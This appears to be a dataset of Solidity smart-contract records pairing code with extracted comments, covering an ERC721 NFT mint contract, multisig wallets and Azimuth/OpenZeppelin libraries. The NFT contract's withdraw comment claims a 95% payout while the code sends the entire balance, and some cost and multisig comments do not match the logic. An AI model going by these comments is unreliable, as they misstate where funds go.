_operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract LarvaKevins is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.00 ether; uint256 public maxSupply = 777; uint256 public maxMintAmount = 5; bool public paused = true; bool public revealed = true; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function updateCost(uint256 _supply) internal view returns (uint256 _cost){ if(_supply < 555) { return 0.00 ether; } if(_supply <= maxSupply) { return 0.01 ether; } } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); require(msg.value >= updateCost(supply) * _mintAmount, "Not enough funds"); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function withdraw() public payable onlyOwner { // ============================================================================= // This will payout the owner 95% of the contract balance. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); // ============================================================================= } }
============================================================================= This will payout the owner 95% of the contract balance. Do not remove this otherwise you will not be able to withdraw the funds. ============================================================================= =============================================================================
function withdraw() public payable onlyOwner { require(os); }
302,539
pragma solidity 0.4.21; library SafeMath { function sub(uint256 a, uint256 b) pure internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ReentrancyGuard { /** * @dev We use a single lock for the whole contract. */ bool private rentrancy_lock = false; /** * @dev Prevents a contract from calling itself, directly or indirectly. * @notice If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one nonReentrant function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and a `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { require(!rentrancy_lock); rentrancy_lock = true; _; rentrancy_lock = false; } } /** * MultiSig is designed to hold funds of the ico. Account is controlled by three administrators. To trigger a payout * two out of three administrators will must agree on same amount of ether to be transferred. During the signing * process if one administrator sends different target address or amount of ether, process will abort and they * need to start again. * Administrator can be replaced but two out of three must agree upon replacement of third administrator. Two * admins will send address of third administrator along with address of new one administrator. If a single one * sends different address the updating process will abort and they need to start again. */ contract MultiSig is ReentrancyGuard { using SafeMath for uint256; // Maintain state funds transfer signing process struct Transaction{ address[2] signer; uint confirmations; uint256 eth; } // count and record signers with ethers they agree to transfer Transaction private pending; // the number of administrator that must confirm the same operation before it is run. uint256 public required = 2; mapping(address => bool) private administrators; // Funds has arrived into the contract (record how much). event Deposit(address _from, uint256 value); // Funds transfer to other contract event Transfer(address indexed fristSigner, address indexed secondSigner, address to,uint256 eth,bool success); // Administrator successfully signs a fund transfer event TransferConfirmed(address signer,uint256 amount,uint256 remainingConfirmations); // Administrator successfully signs a key update transaction event UpdateConfirmed(address indexed signer,address indexed newAddress,uint256 remainingConfirmations); // Administrator violated consensus event Violated(string action, address sender); // Administrator key updated (administrator replaced) event KeyReplaced(address oldKey,address newKey); event EventTransferWasReset(); event EventUpdateWasReset(); function MultiSig() public { administrators[0xCDea686Bac6136E3B4D7136967dC3597f96fA24f] = true; administrators[0xf964707c8fb25daf61aEeEF162A3816c2e8f25dD] = true; administrators[0xA45fb4e5A96D267c2BDc5efDD2E93a92b9516232] = true; } /** * @dev To trigger payout two out of three administrators call this * function, funds will be transferred right after verification of * third signer call. * @param recipient The address of recipient * @param amount Amount of wei to be transferred */ function transfer(address recipient, uint256 amount) external onlyAdmin nonReentrant { // input validations require( recipient != 0x00 ); require( amount > 0 ); require( address(this).balance >= amount ); uint remaining; // Start of signing process, first signer will finalize inputs for remaining two if (pending.confirmations == 0) { pending.signer[pending.confirmations] = msg.sender; pending.eth = amount; pending.confirmations = pending.confirmations.add(1); remaining = required.sub(pending.confirmations); emit TransferConfirmed(msg.sender,amount,remaining); return; } // Compare amount of wei with previous confirmtaion if (pending.eth != amount) { transferViolated("Incorrect amount of wei passed"); return; } // make sure signer is not trying to spam if (msg.sender == pending.signer[0]) { transferViolated("Signer is spamming"); return; } pending.signer[pending.confirmations] = msg.sender; pending.confirmations = pending.confirmations.add(1); remaining = required.sub(pending.confirmations); // make sure signer is not trying to spam if (remaining == 0) { if (msg.sender == pending.signer[0]) { transferViolated("One of signers is spamming"); return; } } emit TransferConfirmed(msg.sender,amount,remaining); // If two confirmation are done, trigger payout if (pending.confirmations == 2) { if(recipient.send(amount)) { emit Transfer(pending.signer[0], pending.signer[1], recipient, amount, true); } else { emit Transfer(pending.signer[0], pending.signer[1], recipient, amount, false); } ResetTransferState(); } } function transferViolated(string error) private { emit Violated(error, msg.sender); ResetTransferState(); } function ResetTransferState() internal { delete pending; emit EventTransferWasReset(); } /** * @dev Reset values of pending (Transaction object) */ function abortTransaction() external onlyAdmin{ ResetTransferState(); } /** * @dev Fallback function, receives value and emits a deposit event. */ function() payable public { // deposit ether if (msg.value > 0){ emit Deposit(msg.sender, msg.value); } } /** * @dev Checks if given address is an administrator. * @param _addr address The address which you want to check. * @return True if the address is an administrator and fase otherwise. */ function isAdministrator(address _addr) public constant returns (bool) { return administrators[_addr]; } // Maintian state of administrator key update process struct KeyUpdate { address[2] signer; uint confirmations; address oldAddress; address newAddress; } KeyUpdate private updating; /** * @dev Two admnistrator can replace key of third administrator. * @param _oldAddress Address of adminisrator needs to be replaced * @param _newAddress Address of new administrator */ function updateAdministratorKey(address _oldAddress, address _newAddress) external onlyAdmin { // input verifications require( isAdministrator(_oldAddress) ); require( _newAddress != 0x00 ); require( !isAdministrator(_newAddress) ); require( msg.sender != _oldAddress ); // count confirmation uint256 remaining; // start of updating process, first signer will finalize address to be replaced // and new address to be registered, remaining two must confirm if (updating.confirmations == 0) { updating.signer[updating.confirmations] = msg.sender; updating.oldAddress = _oldAddress; updating.newAddress = _newAddress; updating.confirmations = updating.confirmations.add(1); remaining = required.sub(updating.confirmations); emit UpdateConfirmed(msg.sender,_newAddress,remaining); return; } // violated consensus if (updating.oldAddress != _oldAddress) { emit Violated("Old addresses do not match",msg.sender); ResetUpdateState(); return; } if (updating.newAddress != _newAddress) { emit Violated("New addresses do not match", msg.sender); ResetUpdateState(); return; } // make sure admin is not trying to spam if (msg.sender == updating.signer[0]) { emit Violated("Signer is spamming", msg.sender); ResetUpdateState(); return; } updating.signer[updating.confirmations] = msg.sender; updating.confirmations = updating.confirmations.add(1); remaining = required.sub(updating.confirmations); if (remaining == 0) { if (msg.sender == updating.signer[0]) { emit Violated("One of signers is spamming",msg.sender); ResetUpdateState(); return; } } emit UpdateConfirmed(msg.sender,_newAddress,remaining); // if two confirmation are done, register new admin and remove old one if (updating.confirmations == 2) { emit KeyReplaced(_oldAddress, _newAddress); ResetUpdateState(); delete administrators[_oldAddress]; administrators[_newAddress] = true; return; } } function ResetUpdateState() internal { delete updating; emit EventUpdateWasReset(); } /** * @dev Reset values of updating (KeyUpdate object) */ function abortUpdate() external onlyAdmin { ResetUpdateState(); } /** * @dev modifier allow only if function is called by administrator */ modifier onlyAdmin() { if( !administrators[msg.sender] ){ revert(); } _; } }
Two admnistrator can replace key of third administrator. _oldAddress Address of adminisrator needs to be replaced _newAddress Address of new administrator/ input verifications count confirmation start of updating process, first signer will finalize address to be replaced and new address to be registered, remaining two must confirm violated consensus make sure admin is not trying to spam if two confirmation are done, register new admin and remove old one
function updateAdministratorKey(address _oldAddress, address _newAddress) external onlyAdmin { require( isAdministrator(_oldAddress) ); require( _newAddress != 0x00 ); require( !isAdministrator(_newAddress) ); require( msg.sender != _oldAddress ); uint256 remaining; if (updating.confirmations == 0) { updating.signer[updating.confirmations] = msg.sender; updating.oldAddress = _oldAddress; updating.newAddress = _newAddress; updating.confirmations = updating.confirmations.add(1); remaining = required.sub(updating.confirmations); emit UpdateConfirmed(msg.sender,_newAddress,remaining); return; } if (updating.oldAddress != _oldAddress) { emit Violated("Old addresses do not match",msg.sender); ResetUpdateState(); return; } if (updating.newAddress != _newAddress) { emit Violated("New addresses do not match", msg.sender); ResetUpdateState(); return; } if (msg.sender == updating.signer[0]) { emit Violated("Signer is spamming", msg.sender); ResetUpdateState(); return; } updating.signer[updating.confirmations] = msg.sender; updating.confirmations = updating.confirmations.add(1); remaining = required.sub(updating.confirmations); if (remaining == 0) { if (msg.sender == updating.signer[0]) { emit Violated("One of signers is spamming",msg.sender); ResetUpdateState(); return; } } emit UpdateConfirmed(msg.sender,_newAddress,remaining); if (updating.confirmations == 2) { emit KeyReplaced(_oldAddress, _newAddress); ResetUpdateState(); delete administrators[_oldAddress]; administrators[_newAddress] = true; return; } }
14,000,799
./partial_match/1/0xBA4C1c4AeD5d664588557546F5090e45aae99394/sources/MeiMachina.sol
Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). Counterpart to Solidity's `-` operator. Requirements: - Subtraction cannot overflow./
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
15,980,699
./full_match/1/0x1E061ac5099620148BD64867997F35e0e148C277/sources/contracts/AuctionV1.sol
Sets a new stake needed to stake a listing newStake The new listing stake, in value of the ERC20 token e.g. 10 e18 Emits an event with the new listing stake SetListingStake
function setListingStake(uint256 newStake) external onlyOwner { uint256 _oldStake = _listingStake; _listingStake = newStake; emit SetListingStake( newStake, _oldStake ); }
17,155,403
pragma solidity ^0.5.1; import "zos-lib/contracts/Initializable.sol"; import "./BaseMultiSigWallet/BaseMultiSigWallet.sol"; import "./MasterPropertyValue.sol"; /** * @title AdministeredMultiSigWallet * @dev An Administered MultiSigWallet where an admin account is authorized to * submit transactions on behalf of the owner. */ contract AdministeredMultiSigWallet is BaseMultiSigWallet, Initializable { /* * Events */ event RevokeAll(address indexed sender, uint256 indexed transactionId); event AdminUpdated(address indexed sender, address indexed admin); event TransactorUpdated(address indexed sender, address indexed transactor); /* * Storage */ /// admin is the account or multisig able to submit transaction on /// behalf of this multisig. /// The admin value is set immeidately after deployment. /// Admins for multisigs: /// SuperProtectorMultiSig admin = SuperProtectorMultiSig /// BasicProtectorMultiSig admin = SuperProtectorMultiSig /// OperationAdminMultiSig admin = BasicProtectorMultiSig /// MintingAdminMultiSig admin = BasicProtectorMultiSig /// RedemptionAdminMultiSig admin = BasicProtectorMultiSig address public admin; MasterPropertyValue public masterPropertyValue; /// transactor is a smart contract address able to only add transactions /// to retrieve a transaction id and able to revoke all confirmations too. /// The transactor is not an owner and cannot confirm transactions. /// An example for this existing is when the minting admin role contract /// needs to add a multisig transaction to retrieve a trasaction id so that /// minting admin' can begin to vote on it. We require a transaction id in /// in this case immediately rather than requiring the multisig to submit // the transaction because it would require majority vote which is not what /// we want in this case. /// Transactors for multisigs: /// SuperProtectorMultiSig admin = nobody /// BasicProtectorMultiSig admin = nobody /// OperationAdminMultiSig admin = nobody /// MintingAdminMultiSig admin = MintingAdminRole contract /// RedemptionAdminMultiSig admin = Assets contract address public transactor; /* * Modifiers */ /// @dev Requires sender to be the admin. modifier onlyAdmin() { require(msg.sender == admin); _; } /// @dev Requires that the sender is an owner. modifier ownerExists(address owner) { require(isOwner[owner]); _; } /// @dev Requires that the sender is the transactor account. modifier onlyTransactor() { require(transactor == msg.sender); _; } /// @dev Requires that the MPV contract is not paused. modifier mpvNotPaused() { require(masterPropertyValue.paused() == false); _; } /* * Public functions */ /// @dev Contract initializer sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function initialize( address[] memory _owners, uint _required ) public validRequirement(_owners.length, _required) initializer { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; admin = msg.sender; } /// @dev Sets an account to be the new admin. Transaction must be sent /// from the current admin account. /// @param _admin Address of new admin account. function updateAdmin(address _admin) public onlyAdmin { require(_admin != address(0)); admin = _admin; emit AdminUpdated(msg.sender, _admin); } /// @dev Sets an account to be the new transactor account. Transaction must /// be sent from the current admin account. /// @param _transactor Address of new transactor account. function updateTransactor(address _transactor) public onlyAdmin { require(_transactor != address(0)); transactor = _transactor; emit TransactorUpdated(msg.sender, _transactor); } /// @dev Allows to add an owner. Transaction has to be sent by admin. /// @param owner Address of owner. function addOwner(address owner) public onlyAdmin validRequirement(owners.length + 1, required) { super.addOwner(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by admin. /// @param owner Address of owner. function removeOwner(address owner) public onlyAdmin validRequirement(owners.length + 1, required) { if (owners.length == 1 && isOwner[owner]) { revert("Cannot remove last owner"); } super.removeOwner(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be /// sent by admin. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyAdmin validRequirement(owners.length + 1, required) { super.replaceOwner(owner, newOwner); } /// @dev Allows to change the number of required confirmations. Transaction /// has to be sent by admin. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyAdmin validRequirement(owners.length + 1, required) { super.changeRequirement(_required); } function submitTransaction(address destination, uint value, bytes memory data) public ownerExists(msg.sender) returns (uint transactionId) { return super.submitTransaction(destination, value, data); } /// @dev Adds a new transaction to the transaction mapping, if transaction /// does not exist yet. Transaction has to be sent by transactor account. /// @param destination Transaction target address. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, bytes memory data) public onlyTransactor returns (uint transactionId) { return addTransaction(destination, 0, data); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) { super.confirmTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) { super.revokeConfirmation(transactionId); } /// @dev Allows the transactor admin to revoke all confirmations for a /// transaction id. This method is invoked when reseting confirmation votes /// on cancelleation actions. /// @param transactionId Transaction ID. function revokeAllConfirmations(uint256 transactionId) public onlyTransactor { for (uint256 i=0; i < owners.length; i++) { confirmations[transactionId][owners[i]] = false; } transactions[transactionId].executed = false; emit RevokeAll(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) { super.executeTransaction(transactionId); } function isExecuted(uint transactionId) public view returns (bool) { return transactions[transactionId].executed; } }
Allows to replace an owner with a new owner. Transaction has to be sent by admin. owner Address of owner to be replaced. newOwner Address of new owner.
function replaceOwner(address owner, address newOwner) public onlyAdmin validRequirement(owners.length + 1, required) { super.replaceOwner(owner, newOwner); }
999,066
// the azimuth logic contract // https://azimuth.network pragma solidity 0.4.24; //////////////////////////////////////////////////////////////////////////////// // Imports //////////////////////////////////////////////////////////////////////////////// // OpenZeppelin's Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // Azimuth's SafeMath8.sol /** * @title SafeMath8 * @dev Math operations for uint8 with safety checks that throw on error */ library SafeMath8 { function mul(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint8 a, uint8 b) internal pure returns (uint8) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint8 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint8 a, uint8 b) internal pure returns (uint8) { assert(b <= a); return a - b; } function add(uint8 a, uint8 b) internal pure returns (uint8) { uint8 c = a + b; assert(c >= a); return c; } } // Azimuth's SafeMath16.sol /** * @title SafeMath16 * @dev Math operations for uint16 with safety checks that throw on error */ library SafeMath16 { function mul(uint16 a, uint16 b) internal pure returns (uint16) { uint16 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint16 a, uint16 b) internal pure returns (uint16) { // assert(b > 